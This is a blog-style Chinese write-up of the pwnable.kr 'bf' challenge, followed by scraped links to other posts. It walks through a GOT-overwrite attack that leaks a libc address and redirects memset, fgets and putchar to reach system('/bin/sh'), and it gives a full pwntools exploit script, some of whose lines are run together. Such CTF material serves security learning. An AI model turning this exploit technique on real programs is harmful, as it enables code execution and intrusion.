pwnable.kr第二关第一题:

=========================================

Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001

==========================================

一人饮酒醉的僵尸?? 这次题目也更偏向于PWN了吧...(?)也没有源代码了

丢可执行文件到ida,看一遍啥意思吧..

main()

brainf**k

程序首先需要用户输入,根据用户输入的内容,依次执行个字符代表的含义。

主要起作用的是圈出的tape变量,也就是do_brainfuck函数中的p指针,这个指针位于bss段,而不是栈中...

.bss段上面是.got.plt段,也就是说这个指针离got表很近,再看一保护情况

利用思路应该是修改got表。

如何修改?就是用指针p移动到got表中,然后用getchar进行修改。

如何得到shell?可以想到的方法是利用system('/bin/sh')这条指令 ,system函数在libc中,关于libc中的地址一定有随机化,所以要考虑泄露这部分地址方法。

泄露方法可以用p指针移动到got表中,读出got地址,这个地址在调用一次xx@plt后就指向了libc中地址,注意,这很重要。

再考虑‘/bin/sh’字符串,这个可以从libc中泄露,不过该不了其他地方的地址,貌似作用不大。。。只能从用户输入入手。

main函数中这两个函数可以改为 gets(&v6);system(&v6);这样的操作。

因此需要修改的地方也就确定了

got表中

1. memset地址改成 gets地址

2. fgets地址改成system地址

此外,由于很显然,这步骤是第二次运行main函数的,需要让函数可以返回到main函数的开始部分,可以考虑用got表中putchar函数的地址覆盖为main函数地址。

泄露,也是用putchar函数。先调用putchar函数再泄露,先调用putchar函数再泄露,先调用putchar函数再泄露!!!

最终代码如下:

#coding:utf-8
import time
from pwn import *
elf = ELF('./bf')
#libc = ELF('./libc.so.6')
libc = ELF('./bf_libc.so') #function
def back(n):
print n
return '>'*n
def forward(n):
print n
return '<'*n ptr_addr = 0x0804a0a0
main_addr = 0x08048671
# got
fgets_got = elf.got['fgets']
print 'fgets_got',hex(fgets_got) putchar_got = elf.got['putchar']
print 'putchar_got',hex(putchar_got)
memset_got = elf.got['memset']
print 'memset_got',hex(memset_got)
#libc
sys_libc = libc.symbols['system']
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
pro = remote('pwnable.kr',9001)
#pro = process('./bf')
print pro.recv()
#print pro.recv()
payload = "."
payload += forward(ptr_addr - putchar_got)
payload += ".>.>.>."
payload += forward(3) +',>,>,>,' #main
payload += forward(3) + forward(putchar_got - memset_got )
payload += ',>,>,>,'
payload += forward(3) + forward(memset_got - fgets_got)
payload += ',>,>,>,' #sys #fgets
payload += "." print payload,len(payload)
print '='*32 pro.sendline(payload) time.sleep(1)
pro.recv(1)
putchar_libc_addr = u32(pro.recv(4))
print '[*] putchar',hex(putchar_libc_addr)
print '='*32 sys_libc_addr = putchar_libc_addr - putchar_libc + sys_libc
gets_libc_addr = putchar_libc_addr - putchar_libc + gets_libc
print '[*] system ',hex(sys_libc_addr)
print '[*] main ',hex(main_addr)
print '[*] putchar ', hex(putchar_libc_addr)
print '='*32
print '[*] putchar_got ',hex(putchar_got)
print '[*] gets ',hex(gets_libc_addr) pro.send(p32(main_addr))
#gdb.attach(pro)
pro.send(p32(gets_libc_addr))
#gdb.attach(pro)
pro.send(p32(sys_libc_addr))
#gdb.attach(pro)
##pro.recv()
#exit(0)
#print pro.recv() pro.sendline('/bin/sh\0')
#gdb.attach(pro)
time.sleep(1)
pro.interactive()

flag:

【pwnable.kr】 brainfuck的更多相关文章

  1. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  2. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  3. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  4. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  5. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  6. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  7. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  8. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

  9. 【pwnable.kr】cmd1

    最近的pwnable都是linux操作系统层面的. ssh cmd1@pwnable.kr -p2222 (pw:guest) 首先还是下载源代码: #include <stdio.h> ...

随机推荐

  1. ThinkPHP6源码:从Http类的实例化看依赖注入是如何实现的

    ThinkPHP 6 从原先的 App 类中分离出 Http 类,负责应用的初始化和调度等功能,而 App 类则专注于容器的管理,符合单一职责原则. 以下源码分析,我们可以从 App,Http 类的实 ...

  2. FreeSWITCH调用第三方TTS 使用tts_commandline

    FreeSWITCH 支持调用第三方TTS命令,本身已经搭好了框架,只需要配置即可用. 下面写一下步骤,以免忘记,也希望给你带来帮助. 第一步:编译模块mod_tts_commandline,并加载. ...

  3. LIBRA查询

    SELECT COUNT(1)FROM rawdata_vehiclepassing xWHERE x.passingtime >= to_date('2019-11-24,00:00:00', ...

  4. XPath简介

    参考视频:   https://www.bilibili.com/video/av49809274/?p=22 一,什么是XPATH? xpath(xml path language)是一门在xml和 ...

  5. 内核运行时数据结构的操作(启用路由功能),sysctl内核设置命令

    LINUX系统运行时,内核数据结构数据的修改,系统提供了统一抽象的文件操作接口(命名空间操作接口)比如启用路由功能echo  1 > proc/sys/net/ipv4/ip-forward// ...

  6. 11 JavaScript Number原始值&对象&科学记数法&范围&进制转换&溢出Infinity&NaN

    JavaScript Number对象 是经过封装的能处理数字值的对象 由Number()构造器创建 只有一种数字类型 可以使用也可以不使用小数点书写数字 JavaScript原始值与对象: 在Jav ...

  7. Thymeleaf基本知识(推荐)

    原文: http://blog.csdn.net/pdw2009/article/details/44700897 Thymeleaf是个XML/XHTML/HTML5模板引擎,可以用于Web与非We ...

  8. warning:Pointer is missing a nullability type specifier (__nonnull or __nullable)

    当我们定义某个属性的时候  如果当前使用的编译器版本比较高(6.3+)的话经常会遇到这样一个警告:warning:Pointer is missing a nullability type speci ...

  9. Dubbo 18 问

    dubbo是什么 dubbo是一个分布式框架,远程服务调用的分布式框架,其核心部分包含: 集群容错:提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集 ...

  10. linux命令系列-mv(移动-重命名)

    #常用命令选项 默认覆盖 -n 不覆盖 -i 交互 -f 不交互直接覆盖 -u 只移动新的文件 -v 显示详细信息 #移动覆盖3个文件到/tmp目录 mv a.txt b.txt c.txt /tmp ...